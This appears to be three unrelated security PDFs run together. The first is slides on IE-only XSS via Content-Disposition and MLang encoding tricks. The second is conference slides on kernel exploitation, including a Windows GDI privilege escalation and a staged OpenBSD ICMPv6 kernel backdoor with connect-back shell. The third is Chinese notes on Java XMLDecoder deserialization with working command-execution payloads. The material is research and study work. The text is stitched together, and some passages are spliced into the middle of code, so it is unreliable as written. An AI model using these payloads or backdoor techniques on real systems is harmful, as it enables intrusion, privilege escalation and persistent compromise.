Ignoring Content-Type Header 繞過 Content-Disposition Header Bypass Content-Dispositon Header Content-Disposition: attachment • 瀏覽器的下載指令 Download directive for browsers ブラウザへのダウンロード指令 • 經常使用於防止 XSS often uses for preventing for XSS XSSを防ぐために使用される。 繞過 Content-Disposition Header Bypass Content-Dispositon Header Content-Disposition: attachment • 攻擊者使用特製的JavaScript 繞過‘Content-Disposition: attachment’ Bypass 'Content-Disposition: attachment' with specially crafted JavaScript by attacker 攻撃者の細工したJavaScriptにより'Content-Disposition: attachment'を回 避可能 繞過 Content-Disposition Header Bypass Content-Dispositon Header 攻擊者創建的陷阱頁面 Trap page by attacker 目標內容與 "Content-Disposition: attachment" target content with "Content-Disposition: attachment" <script> // crafted JavaScript here. // actual code is not open today // 今天沒有顯示。 ^_^; </script> <script src="http://example.com/download.cgi"></script> 繞過 Content-Disposition Header Bypass Content-Dispositon Header • 2007年7月在日本悄悄地發表 Published: Jul 2007 in Javap by stealth 2007年7月に日本でひっそりと公開 • Affected: IE6 / IE7 / IE8 • 無法由伺服器端防止XSS。 No way to prevent XSS by server-side. サーバ側でXSSを防ぐ手段はない 第3話 MLang編碼轉換問題 Episode 3: MLang encode conversion issue MLang編碼轉換問題 MLang encode conversion issue • MLang: 為了支援多語言,包含文字編碼轉 換功能的DLL MLang : DLL for multi language support including conversion of text encoding. MLangは文字エンコーディングの変換機能を含む、多言語サポートのた めのDLL – ConvertINetMultiByteToUnicode – ConvertINetUnicodeToMultiByte – ConvertINetString MLang編碼轉換問題 MLang encode conversion issue • IE使用MLang處理外部文本與轉換Unicode IE handles text as Unicode from outside with conversion by MLang. IEはMLangを使って外部からの文字列をUnicodeに変換して処理 Shift_JIS, EUC-KR, Big5 … MLang UTF-16LE <html> MLang編碼轉換問題 MLang encode conversion issue • 給予已損壞的字節串時 也會盡量轉為 Unicode Converted to Unicode accordingly when given broken byte sequence. 壊れたバイト列を渡したときも、それなりにUnicodeに変換される • 會產出原字節串不存在的(“<>) 成為XSS可著手處 meta characters ("<>) which don't exist in original byte sequence are generated もとのバイト列に存在しない「"<>」などが生成され、XSSにつながる MLang編碼轉換問題 MLang encode conversion issue <meta http-equiv="Content-Type" content="text/html; charset=XXXXX" /> ... <input type="text" value= "(0xNN)(0xNN)(0xNN)onmouseover=alert(1)// (0xNN)(0xNN)(0xNN)" > <input type="text" value="??"onmouseover=alert(1)// ??"" > “0xNN”是無效字節串的字符集 "XXXXX" "NN" are invalid byte sequence for charset "XXXXX" MLang編碼轉換問題 MLang encode conversion issue • 從伺服器端防止 XSS 問題太麻煩 too hard to prevent XSS for this issue by server-side. サーバ側でこの問題に対処するのたいへん • 驗證所有字母/字節的字串編碼 validate all letters/bytes as the charset encoding 文字エンコーディング として適切か全文字/全バイトを検証 MLang編碼轉換問題 MLang encode conversion issue • 現在沒有公佈細節 Not published for details now. 現状は詳細は非公開 • Affected: IE6, IE7 IE8 : fixed • 2007 年 10 月 已回報 Reported: Oct 2007 結論 Conclusion 結論 Conclusion • 有許多方法針對 IE 瀏覽器實作 XSS There're many ways to arise XSS only for IE IEのみでXSSを発生させる方法がたくさんある • 特別是很久沒有修補漏洞的 IE 6/7 Especially IE6/7. not fixed for a long time. 特にIE6/7。長い間修正されていない。 謝謝! Thanks! • David Ross and MSRC for helpful suggestions. • Google Translate for這翻譯的文字 ^_^ • … and You! Thank you for your attention. 任何問題? Question? • Mail – [email protected][email protected] • Twitter – @hasegawayosuke • Web site – http://utf-8.jp/
pdf
KERNEL WARS: KERNEL-EXPLOITATION DEMYSTIFIED Introduction to kernel-mode vulnerabilities and exploitation • Why exploit kernel level vulnerabilities? – It's fun! – Relatively few are doing it – Bypasses defense mechanisms and restrictions – Attacks at the lowest level • Does not rely on any particular application being installed • Does not rely on how applications are configured • Does not rely on file / registry permissions Introduction to kernel-mode vulnerabilities and exploitation • Reasons not to exploit kernel level vulnerabilities – Usually one-shot, exploit needs to be very reliable – Kernel debugging can be tedious setting up – Need some knowledge about kernel internals Introduction to kernel-mode vulnerabilities and exploitation • Common targets for attack in a kernel – Systemcalls – I/O and IOCTL-messages through devicefiles – Handling of files in pseudofilesystems (like procfs) – Handling of data from the network (wireless/wired) – Interaction with hardware (USB, Firewire, etc) – Executable file format loaders (ELF, PE, etc) Introduction to kernel-mode vulnerabilities and exploitation • Payload strategy – Elevating privileges • Altering the UID-field (Unix) • Stealing access tokens (Windows) – Breaking chroot / jail / SELinux / other restrictions • Everything can be bypassed in kernel-mode • Ring 0: One ring to rule them all.. – Injecting backdoors • Stealth! Do everything in kernel-mode Introduction to kernel-mode vulnerabilities and exploitation • Payload techniques – Determining addresses and offsets • Resolving symbols • Pattern matching • Hardcoding (last resort) Introduction to kernel-mode vulnerabilities and exploitation • Payload techniques – OS/architecture-specific techniques • Windows/x86: ETHREAD-pointer at 0xFFDFF124 (fs:0x124) • FreeBSD/x86: proc-pointer at [fs:0] • Linux/x86: task_struct-pointer at esp & 0xffffe000 • NetBSD/x86: proc-pointer [[fs:4]+20]+16 • Solaris/AMD64: _kthread-pointer at [gs:0x18] • Solaris/i386: _kthread-pointer at [gs:0x10] • Solaris/SPARC: _kthread-pointer in g7 Introduction to kernel-mode vulnerabilities and exploitation • Exploitation – Don't overwrite/trash more than necessary! – Cleaning up • May need to rewind the stack • May need to repair the heap • May need to restore overwritten data • About the bug – GDI Shared Handle Table = Memory section with GDI handle data – Shared between usermode/kernelmode – Mapped (read-only) into every GUI-process – Turns out it can be remapped read-write, after bruteforcing the shared memory section handle! – BSOD is trivial, but can it be exploited? Windows Local GDI Kernel Memory Overwrite • Finding the vulnerability – I didn't, Cesar Cerrudo from Argeniss found it – The bug was made public 2006-11-06 (MoKB) – Microsoft was notified of the bug 2004-10-22... – Affected all W2K/WXP systems – Patched a few weeks after our talk at Blackhat Europe… ;-) Windows Local GDI Kernel Memory Overwrite • Reliably determining the GDI section handle – The GDI section = Array of structs with these fields: • pKernelInfo Pointer to kernelspace GDI object data • ProcessID Process ID • _nCount Reference count? • nUpper Upper 16 bits of GDI object handle • nType GDI object type ID • pUserInfo Pointer to userspace GDI object data – Each entry = 16 bytes Windows Local GDI Kernel Memory Overwrite • Reliably determining the GDI section handle – In Windows 2000, 0x4000 entries – So GDI section size >= 0x40000 bytes – In Windows XP, 0x10000 entries – So GDI section size >= 0x100000 bytes Windows Local GDI Kernel Memory Overwrite • Reliably determining the GDI section handle – Lower 16 bits of a GDI object handle = Index into the array in the GDI section – Upper 16 bits of a GDI object handle = Value of the nUpper-field in the struct Windows Local GDI Kernel Memory Overwrite • Reliably determining the GDI section handle – Final method: • Create a GDI object, handle value = H • Index into table = H & 0xFFFF (lower 16 bits of H) • nUpper = H >> 16 (upper 16 bits of H) • For each valid shared memory section handle, check if: – Section size >= 0x40000 (W2K) / 0x100000 (WXP) – pGDI[(H & 0xffff)].ProcessID == ExploitPID – pGDI[(H & 0xffff)].nUpper == H >> 16 – pGDI[(H & 0xffff)].nType == <TypeID> Windows Local GDI Kernel Memory Overwrite • Finding a way to exploit the bug – Two main points of attack: • pKernelInfo : Used in kernel context • pUserInfo : Used in a privileged process – Pointers are always interesting targets... – Goal: Being able to write to an arbitrary memory address, once that is achieved turning it into arbitrary code execution should be trivial Windows Local GDI Kernel Memory Overwrite • Finding a way to exploit the bug – Exploiting through a privileged process would most likely be very hard to do reliably, even harder to do generically and chances are quite slim it would be portable across both Windows 2000 and XP – Attacking the kernel directly would bypass any hardening measures – And of course.. Kernelmode = More fun! ;-) Windows Local GDI Kernel Memory Overwrite • Attacking the pKernelInfo pointer – The naive approach: • Overwrite it with trash and hope it ends up in EIP o_O – A more realistic approach: • Try different kinds of GDI objects (windows, fonts, brushes, etc) • Point the pKernelInfo into valid usermode memory • Fill that memory with an easily recognizable pattern • Call GDI related system calls and see if they end up crashing • Analyze the crash in WinDBG, analyze the code with IDA Pro • Look for dereferences of data in our fake struct Windows Local GDI Kernel Memory Overwrite • My final attack – Create a BRUSH-object – Point the pKernelInfo pointer into usermode data with: • FakeKernelObj[0] = <Evil GDI Object Handle> • FakeKernelObj[2] = 1 • FakeKernelObj[9] = <Target Address> – Call NtGdiDeleteObjectApp(<Evil GDI Object Handle>) – Boom! 0x00000002 is written to <Target Address> – Turns out to be a reliable method for all the vulnerable systems Windows Local GDI Kernel Memory Overwrite • Now what? – Need to find a suitable function pointer to overwrite and a method for determining its address – Can only write the fixed value 2 (byte sequence: 02 00 00 00) – We can use two partial overwrites to construct a high address that can be mapped with VirtualAlloc() – Or we can use NtAllocateVirtualMemory() directly and “fool” it into mapping the NULL page, where we place our code Windows Local GDI Kernel Memory Overwrite • Determining where to write – There are probably many function pointers in the kernel that can be used, we need to make sure we use one that these conditions holds for though: • Should be possible to reliably determine its address • Should be called in the context of our exploit process • Should be rarely used, specifically it must not be used during the time between us overwriting it and us triggering a call to it within the context of our exploit – An obvious choice is a rarely used system call Windows Local GDI Kernel Memory Overwrite • Determining where to write – The system call pointers are stored in two tables: • KiServiceTable • W32pServiceTable – KiServiceTable contains the native NT API – W32pServiceTable contains the system calls for the Win32 subsystem (which includes GDI) Windows Local GDI Kernel Memory Overwrite • Determining where to write – My first choice was a pointer in KiServiceTable – There are documented ways to determine its address, specifically I used a popular method posted to the rootkit.com message board under the pseudonym 90210 – Worked great! – Except under Windows XP SP1... Windows Local GDI Kernel Memory Overwrite • Determining where to write – So why exactly didn't it work? – Turns out that KiServiceTable actually resides in the read-only text segment of ntoskrnl.exe – Read-only kernel pages are usually not enforced – I wanted a solution that worked reliably for every Windows 2000 and Windows XP release Windows Local GDI Kernel Memory Overwrite • Determining where to write – What about W32pServiceTable? – Resides in the data segment of WIN32K.SYS – Data segment = writable = perfect! – Now the only problem that remains is determining its address, since W32pServiceTable is not an exported symbol Windows Local GDI Kernel Memory Overwrite • Determining where to write – Need to come up with my own method – One idea was searching for 600 consecutive pointers to the WIN32K.SYS text segment from within the data segment (600+ Win32-syscalls) – Not entirely reliable, since there may be unrelated pointers to the text segment right before the start of W32pServiceTable Windows Local GDI Kernel Memory Overwrite • Determining where to write – Second and final idea was searching for the call to KeAddSystemServiceTable() within the ”INIT” section of WIN32K.SYS and searching backwards for the push of the W32pServiceTable argument – Works great! Windows Local GDI Kernel Memory Overwrite • Payload – Want to elevate the privileges of the exploit process – Not as easy as in Unix, need to "steal" an existing access token from a privileged process – This method has been used in several of the few other kernelmode exploits for Windows that exists – But caused occasional BSOD:s for me, seemingly related to the reference counting of tokens – Usually only if the exploit is executed several times on the same box without rebooting it in between Windows Local GDI Kernel Memory Overwrite • Payload – Solution: Restore the original access token after executing a new privileged process, or whatever it is we wanted to do with our elevated privileges – Also restores the overwritten system call pointer – Done! Reliable exploitation of the GDI bug across all the vulnerable Windows 2000 and Windows XP systems has been achieved Windows Local GDI Kernel Memory Overwrite Windows Local GDI Kernel Memory Overwrite Demonstration • Finding the vulnerability – Fuzzing it • Almost instant crash • Very similar to NetBSD-SA2007-004, which was demonstrated at our BlackHat Europe talk – Tracking it down • DDB / GDB • Source code – Introduction to the bug • Mbuf pointer overflow / arbitrary MFREE() NetBSD mbuf Overflow • mbufs – Basic kernel memory unit – Stores socket buffers and packet data – Data can span several mbufs (linked list) NetBSD mbuf Overflow • Developing the exploit – MFREE() allow for an arbitrary 32-bit value to be written to an arbitrary address (Normal unlinking stuff) – mbuf can have external storage • And their own free routine! – This is what I'm using in my exploit – Exploited mbuf is freed in sbdrop() NetBSD mbuf Overflow NetBSD mbuf Overflow sbdrop(struct sockbuf *sb, int len) { struct mbuf *m, *mn, *next; next = (m = sb->sb_mb) ? m->m_nextpkt : 0; while (len > 0) { if (m == 0) { if (next == 0) panic("sbdrop"); m = next; next = m->m_nextpkt; continue; } if (m->m_len > len) { m->m_len -= len; m->m_data += len; sb->sb_cc -= len; break; } len -= m->m_len; sbfree(sb, m); MFREE(m, mn); • Unlink technique – Remove mbuf from chain and link remaining neighboring mbufs together – “Arbitrary” write operations takes place #define _MCLDEREFERENCE(m) \ do { (m)->m_ext.ext_nextref->m_ext.ext_prevref =(m)->m_ext.ext_prevref; (m)->m_ext.ext_prevref->m_ext.ext_nextref =(m)->m_ext.ext_nextref; } while (/* CONSTCOND */ 0) NetBSD mbuf Overflow • Unlink technique example – Unlinking an mbuf with these values • m_ext.ext_nextref == 0xdeadbeef • m_ext.ext_prevref == 0xbadc0ded – Can be expressed as • *(unsigned *)(0xbadc0ded+NN) = 0xdeadbeef; • *(unsigned *)(0xdeadbeef+PP) = 0xbadc0ded; – Where NN and PP are the offsets to ext_nextref and ext_prevref in the mbuf structure respectively. NetBSD mbuf Overflow • Targets to overwrite – Return address – “Random” function pointer – sysent – function pointers to syscalls • Cleaning up – Memory pools, messy and changes between releases – mbinit() NetBSD mbuf Overflow • External free() technique – Some mbufs holds a reference to their own free() routine – No unlinking is done if ext_nextref references its own mbuf – Point ext_free to your payload – Job done! – Bonus – No mess to clean up NetBSD mbuf Overflow • Payload – How to find your process • I have used allproc and %fs – Changing credentials • Credential structure pointer found in proc structure • Change UID 0 – “Cheating” my way out of the loop • I'm lazy – Return from payload with an extra leave – Placing the payload • Return to userland NetBSD mbuf Overflow Demonstration NetBSD mbuf Overflow • Bug found and researched by Alfredo Ortega • PoC code was released to execute a breakpoint • I successfully tested the vulnerability against OpenBSD 4.0, 3.9, 3.8, 3.7, 3.6, 3.5, 3.4, 3.3, 3.2, 3.1 (older releases with support for IPv6 might be vulnerable too) • Code is different in OpenBSD <= 3.6, I focused on 3.7 - 4.0 OpenBSD IPv6 Remote mbuf Overflow The Bug • Sending specially crafted fragmented ICMPv6 packets causes an mbuf structure to be overwritten – PoC code overwrites ext_free function pointer • ecx, ebx and esi points to start of overwritten mbuf • jmp <reg> and then jmp backwards to reach stage 1 OpenBSD IPv6 Remote mbuf Overflow Payload in 3 stages • Stage 1 – Backdoor installation, icmp6_input wrapper • Stage 2 – Backdoor • Stage 3 – Command(s) OpenBSD IPv6 Remote mbuf Overflow Stage 1 (1/2) • Find stage 2 – Last mbuf in chain for previous packet (%esp+108) • Calculate address of symbol resolver routine (offset from start of stage 2) • Resolve inet6sw and fetch inet6sw[4].pr_input, the address of the current icmp6_input function. OpenBSD IPv6 Remote mbuf Overflow OpenBSD IPv6 Remote mbuf Overflow Stage 1 (2/2) • Make sure backdoor is not already installed – Compare the first four bytes of the backdoor with the corresponding bytes in the input function (starts with a call instead of push %ebp). • Allocate kernel memory for stage 2 and copy the code. • Wrap icmp6_input with stage 2 – Replace inet6sw[4].pr_input with pointer to stage 2 • Clean up stack and return addl $0x20, %esp popl %ebx popl %esi popl %edi leave ret Stage 2 (1/4) – ELF symbol resolver • Find ELF header, which is mapped after .bss – Scan for ”\x7FELF” from Interrupt Descriptor Table • Search for hash of symbol string in the .dynsym section OpenBSD IPv6 Remote mbuf Overflow Stage 2 (2/4) • Listen for ICMPv6 packets with magic bytes – Copy stage 3 code to allocated memory – Wrap system call with stage 3 command • Call the real icmp6_input routine and return OpenBSD IPv6 Remote mbuf Overflow Stage 2 (3/4) – Syscall wrapper • Exploit will be more portable if system calls are used • Need process context to use system calls • fork1() from initproc inside an interrupt does not work (anymore) • Wrap a system call, wait for it to be called, fork1() from that process OpenBSD IPv6 Remote mbuf Overflow Stage 2 (4/4) – Syscall wrapper • Wrap gettimeofday() with stage 3, since it is called quite frequently • Store address of the real gettimeofday() and its index (116) at the beginning of the stage 3 command # Set syscall address in table .macro set_syscall sysent, idx, addr movl \sysent, %ecx movl \idx, %eax # Index movl \addr, 4(%ecx, %eax, 8) .endm OpenBSD IPv6 Remote mbuf Overflow Stage 3 (1/3) – Commands • Connect-back • Set secure level • Shell commands (/bin/sh -c) • Uninstall backdoor There is no built-in command for transferring files. Use a connect-back shell and: • uuencode(1) + cat(1) to send (binary) files • script(1) + uuencode(1)to fetch them. OpenBSD IPv6 Remote mbuf Overflow OpenBSD IPv6 Remote mbuf Overflow Stage 3 (2/3) – Initialization • Use stage 2 resolver to resolve symbols • Reset the wrapped system call to the original function pointer • Call the real system call and save the return value • fork1() from the calling process Stage 3 (3/3) – Command process • Make sure we run as root .macro setuid_root proc movl 16(\proc), %eax # struct pcred pointer movl $0, 4(%eax) # Real User ID .endm • Terminate the process on failure OpenBSD IPv6 Remote mbuf Overflow Demonstration OpenBSD IPv6 Remote mbuf Overflow • Kernel vulnerability in the IEEE 802.11 subsystem of FreeBSD – Vulnerability found and exploited by Karl Janmar – IOCTL – Integer-overflow – Stackbased buffer overflow – wpa_supplicant – WPA-PSK FreeBSD 802.11 Remote Integer Overflow FreeBSD 802.11 Remote Integer Overflow Demonstration
pdf
XMLDecoder反序列化 XMLEncode序列化 package com.example; import java.io.IOException; import java.util.ArrayList; import java.util.HashMap; public class XMLEncoder {    public static void main(String[] args) throws IOException {        HashMap<Object, Object> hashMap = new HashMap<>();        ArrayList<Object> arrayList = new ArrayList<>();        arrayList.add("test");        arrayList.add("demo");        Process exec = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", "whoami"});        //Process exec = new ProcessBuilder("cmd.exe","/c","whoami").start();        hashMap.put("123","456");        hashMap.put("678",arrayList);        hashMap.put("runtime",exec);        java.beans.XMLEncoder xmlEncoder = new java.beans.XMLEncoder(System.out);        xmlEncoder.writeObject(hashMap);        xmlEncoder.close();   } } /* java.lang.InstantiationException: java.lang.ProcessImpl Continuing ... java.lang.RuntimeException: failed to evaluate: <unbound>=Class.new(); Continuing ... <?xml version="1.0" encoding="UTF-8"?> <java version="1.8.0_301" class="java.beans.XMLDecoder"> <object class="java.util.HashMap">  <void method="put">   <string>123</string>   <string>456</string>  </void>  <void method="put">   <string>678</string>   <object class="java.util.ArrayList">    <void method="add">     <string>test</string>    </void>    <void method="add">     <string>demo</string>    </void>   </object>  </void> </object> </java> 一开始想直接序列化一个 Runtime 对象,后来发现这个对象不能被 Encoder ,转而通过调用底层 的 ProcessBuilder 对象进行 Encoder ,发现还是会报错,原因是最底层的 java.lang.ProcessImpl 没办法通过创建一个对象。所有最后只能通过 Encoder 的数据格式来 构造反序列化的 payload 。 XMLDecode 反序列化 */ package com.example; import java.io.IOException; import java.io.InputStream; import java.io.StringBufferInputStream; import java.nio.charset.StandardCharsets; import java.util.HashMap; public class XMLDecoder {    public static void main(String[] args) {        String encode= "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +                "<java version=\"1.8.0_301\" class=\"java.beans.XMLDecoder\">\n" +                " <object class=\"java.util.HashMap\">\n" +                " <void method=\"put\">\n" +                "   <string>123</string>\n" +                "   <string>456</string>\n" +                " </void>\n" +                " <void method=\"put\">\n" +                "   <string>678</string>\n" +                "   <object class=\"java.util.ArrayList\">\n" +                "   <void method=\"add\">\n" +                "     <string>test</string>\n" +                "   </void>\n" +                "   <void method=\"add\">\n" +                "     <string>demo</string>\n" +                "   </void>\n" +                "   </object>\n" +                " </void>\n" +                " </object>\n" +                "</java>\n" +                "\n" +                "Process finished with exit code 0\n";        java.beans.XMLDecoder xmlDecoder = new java.beans.XMLDecoder(new StringBufferInputStream(encode));        Object o = xmlDecoder.readObject();        HashMap hashMap= (HashMap) o;        Object o1 = ((HashMap<?, ?>) o).get("123");        System.out.println(o1);   } } /* org.xml.sax.SAXParseException; lineNumber: 22; columnNumber: 1; 尾随节中不允许有内 容。 Continuing ... 456 */ 反序列化漏洞 看网上的文章执行命令都是用的 ProcessBuilder 类,所以我想先构造一下 Runtime 类能否执行 命令。 这个 payload 不一定是正确的。直接报错,原因应该是 Runtime 类的构造方法是私有类。接下来 换成 ProcessBuilder 类 package com.example; import java.beans.XMLDecoder; import java.io.StringBufferInputStream; public class XMLDecodeBug {    public static void main(String[] args) {        String encode= "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +                "<java version=\"1.8.0_301\" class=\"java.beans.XMLDecoder\">\n" +                " <object class=\"java.lang.Runtime\">\n" +                " <void method=\"exec\">\n" +                "   <string>whoami</string>\n" +                " </void>\n" +                " </object>\n" +                "</java>";        XMLDecoder xmlDecoder = new XMLDecoder(new StringBufferInputStream(encode));        Object o = xmlDecoder.readObject();   } } /* java.lang.IllegalAccessException: Class sun.reflect.misc.Trampoline can not access a member of class java.lang.Runtime with modifiers "private" Continuing ... java.lang.IllegalStateException: The outer element does not return value Continuing ... java.lang.IllegalStateException: The outer element does not return value Continuing ... Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: 0    at java.beans.XMLDecoder.readObject(XMLDecoder.java:250)    at com.example.XMLDecodeBug.main(XMLDecodeBug.java:19) */ package com.example; import java.beans.XMLDecoder; import java.io.StringBufferInputStream; public class XMLDecodeBug {    public static void main(String[] args) {        String encode= "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +                "<java version=\"1.8.0_301\" class=\"java.beans.XMLDecoder\">\n" +                " <object class=\"java.lang.ProcessBuilder\">\n" +                " <array class=\"java.lang.String\" length=\"3\">\n" +                "   <void index=\"0\">\n" +                "     <string>cmd.exe</string>\n" + 过程跟踪 参考文章 XMLDecoder 的整体解析过程是基于 java 自带的 SAX XML 解析进行的。 SAX 是一种 XML 解析的替 代方法。相比于 DOM , SAX 是一种速度更快,更有效的方法。它逐行扫描文档,一边扫描一边解 析。而且相比于 DOM , SAX 可以在解析文档的任意时刻停止解析,但任何事物都有其相反的一 面,对于 SAX 来说就是操作复杂。 DocumnetHandler 继承自 DefaultHandler , DefaultHandler 是使用 SAX 进行XML解析的默 认 Handler 。 DefaultHandler 实现了四个接口,而 DocumentHandler 主要是改写了 ContentHandle 中的几个接口,毕竟主要。                "   </void>\n" +                "   <void index=\"1\">\n" +                "     <string>/c</string>\n" +                "   </void>\n" +                "   <void index=\"2\">\n" +                "     <string>calc.exe</string>\n" +                "   </void>\n" +                "   </array>\n" +                " <void method=\"start\">\n" +                " </void>\n" +                " </object>\n" +                "</java>";        XMLDecoder xmlDecoder = new XMLDecoder(new StringBufferInputStream(encode));        Object o = xmlDecoder.readObject();   } } //弹出计算机 在 DocumentHandler 初始化的过程中,会根据不同的标签,填充不同的标签处理 handler ,这 些 Handler 全都实现或继承 ElementHandler ,也就是说 XMLDecoder 只能解析如下这些标签。 ValueObject 是一个包装类接口,包裹了实际解析过程中产生的对象,包括 null 。一般的对象 由 ValueObjectImpl 进行包裹,而 null\true\false (非 boolean 标签)则直接由自身 Handler 进行代表,实现相关接口。 XMLDecoder 初始化 readObject()->parsingComplete() private boolean parsingComplete() {        if (this.input == null) {  //input存储将要被反序列化的数据            return false;       }        if (this.array == null) {            if ((this.acc == null) && (null != System.getSecurityManager())) {            //this.acc是一个安全校验的东西                throw new SecurityException("AccessControlContext is not set");           }            AccessController.doPrivileged(new PrivilegedAction<Void>() {                public Void run() {                    XMLDecoder.this.handler.parse(XMLDecoder.this.input);                    return null; 这里有一个新的知识点-- AccessController.doPrivileged --获取特权,用于绕过权限检查。参 考文章:关于AccessController.doPrivileged。在获取特权之后,进入到 XMLDecoder.this.handler.parse(XMLDecoder.this.input) 去解析。 XMLDecoder.this.handler.parse(XMLDecoder.this.input) ,进入 DocumnetHandler.parse() 进行解析。               }           }, this.acc);            this.array = this.handler.getObjects();       }        return true;   } 通过这个 SAXParseFactory 工厂类去创建一个 SAX 解析器。再进入解析器进行解析。解析的方法 应该是 JAXP , SAXParserimpl#parse() -> SAXParserImpl$JAXPSAXParser.parse(is)    public void parse(InputSource is, DefaultHandler dh)        throws SAXException, IOException {        if (is == null) {            throw new IllegalArgumentException();       }        if (dh != null) {            xmlReader.setContentHandler(dh);            xmlReader.setEntityResolver(dh);            xmlReader.setErrorHandler(dh);            xmlReader.setDTDHandler(dh);            xmlReader.setDocumentHandler(null);       }        xmlReader.parse(is);   } 中间经过一系列的操作,最后的解析是交给 XML11Configuration.parse() 方法来进行解析。 fVersionDetector.startDocumentParsing((XMLEntityHandler) fCurrentScanner, version) 前期还有对xml版本,DTD配置进行解析的过程,先忽略,之后就是对实体内容进行解析了。 fCurrentScanner.scanDocument(complete)->******* ,仔细跟踪XML的解析过程,中间的解 析过程看的不是特别清楚,不过还是可以捕捉到解析出类对象的地方。 此处根据事件来解析,重要的是 next() 方法。在 next() 方法中会处理当前的事件,并且取出事 件的一些属性(好像是根据<>来区分的。),根据属性去创建对象之类的。 创建类对象首先是查看是否是基础对象 bool 这种,不是的话就通过 Class.forName() 去加载。 来一张图看看他是怎么具体进行解析的。获取对象 java.lang.String[] ,长度为3. Expression 底层的调用 反序列化过程中第一次调用,创建 ProcessBuilder 对象。 全局第二次调用,执行 start 方法。 //整体的调用思路 此处通过 XMLDecoder 实现一个内存马,然后想到了冰蝎执行任意代码的原理,利用 defindClass 加载字节码达到任意代码执行。但是这个 defineCLass 需要是一个 public 方法, 之后在大佬的思路里看到了这个类 org.mozilla.javascript.DefiningClassLoader ,这个类 中定义了一个 defineClass 方法,可以实现任意代码执行。 package com.example; import java.beans.Expression; public class Express {    public static void main(String[] args) throws Exception {        Expression expression = new Expression(Class.forName("java.lang.ProcessBuilder"),"new",new Object[]{new String[]{"cmd.exe","/c","calc.exe"}});        try {            Object value = expression.getValue();            Expression start = new Expression(value, "start", new Object[]{});            Object value1 = start.getValue();            ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();       } catch (Exception e) {            e.printStackTrace();       }        Expression aNew = new Expression(Class.forName("com.example.Person"), "new", new Object[]{});        Object value = aNew.getValue();        Expression toStrings = new Expression(value, "toStrings", new Object[] {});        Object value1 = toStrings.getValue();   } } //此处有一点,只能调用public方法。当调用其他类型的方法会显示方法不存在。 get 和 set 方法的调用 package com.example; public class Person {    public String name;    protected int age;    private boolean sex;    public Person() {        System.out.println("无参构造被调用");   }    public Person(String name, int age, boolean sex) {        System.out.println("构造方法调用");        this.name = name;        this.age = age;        this.sex = sex;   }    public String getName() {        System.out.println("Name get");        return name;   }    public void setName(String name) {        System.out.println("name set");        this.name = name;   }    public int getAge() {        System.out.println("age get");        return age;   }    public void setAge(int age) {        System.out.println("age set");        this.age = age;   }    public boolean getSex() {        System.out.println("sex get");        return sex;   }    public void setSex(boolean sex) {        System.out.println("sex set");        this.sex = sex;   } } Person zhangsan = new Person("zhangsan", 20, true);        java.beans.XMLEncoder xmlEncoder = new java.beans.XMLEncoder(System.out);        xmlEncoder.writeObject(zhangsan);        xmlEncoder.close(); /* 构造方法调用 无参构造被调用 age get age get age get age set Name get Name get sex get sex get sex get sex set <?xml version="1.0" encoding="UTF-8"?> <java version="1.8.0_301" class="java.beans.XMLDecoder"> <object class="com.example.Person" id="Person0">  <void class="com.example.Person" method="getField">   <string>name</string>   <void method="set">    <object idref="Person0"/>    <string>zhangsan</string>   </void>  </void>  <void property="age">   <int>20</int>  </void>  <void property="sex">   <boolean>true</boolean>  </void> </object> </java> */ String encode2="<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +                "<java version=\"1.8.0_301\" class=\"java.beans.XMLDecoder\">\n" +                " <object class=\"com.example.Person\" id=\"Person0\">\n" + 参考文章 Java XMLDecoder反序列化分析 原理分析。 WebLogic-XMLDecoder反序列化漏洞分析 有介绍关于 XMLDecoder 的一些规则。然后还介绍了 weblogic 的漏洞。 浅谈Weblogic反序列化——XMLDecoder的绕过史 关于 <object> 标签的绕过,可以使用 void 绕过,因为 void 标签解析器继承自 object 。其中还 提到一个二次反序列化的绕过方式。 XMLDecoder反序列化漏洞底层扩展与WebShell 关于 XMLDecoder 底层的 Express 类的一 些东西,然后还介绍了其他集中表达式执行实现 webshell Weblogic xmldecoder反序列化中的命令回显与内存马总结 有介绍如何利用 XMLDecoder 实现 weblogic 内存马。利用 URLClassLoader 类区加载本地的 jar 包,实现内存马。                " <void class=\"com.example.Person\" method=\"getField\">\n" +                "   <string>name</string>\n" +                "   <void method=\"set\">\n" +                "   <object idref=\"Person0\"/>\n" +                "   <string>zhangsan</string>\n" +                "   </void>\n" +                " </void>\n" +                " <void property=\"age\">\n" +                "   <int>20</int>\n" +                " </void>\n" +                " <void property=\"sex\">\n" +                "   <boolean>true</boolean>\n" +                " </void>\n" +                " </object>\n" +                "</java>";        java.beans.XMLDecoder xmlDecoder = new java.beans.XMLDecoder(new StringBufferInputStream(encode2));        Object o = xmlDecoder.readObject();        Person o1 = (Person) o;        System.out.println(o1.getName()); /* 无参构造被调用 age set sex set Name get zhangsan Process finished with exit code 0 */
pdf
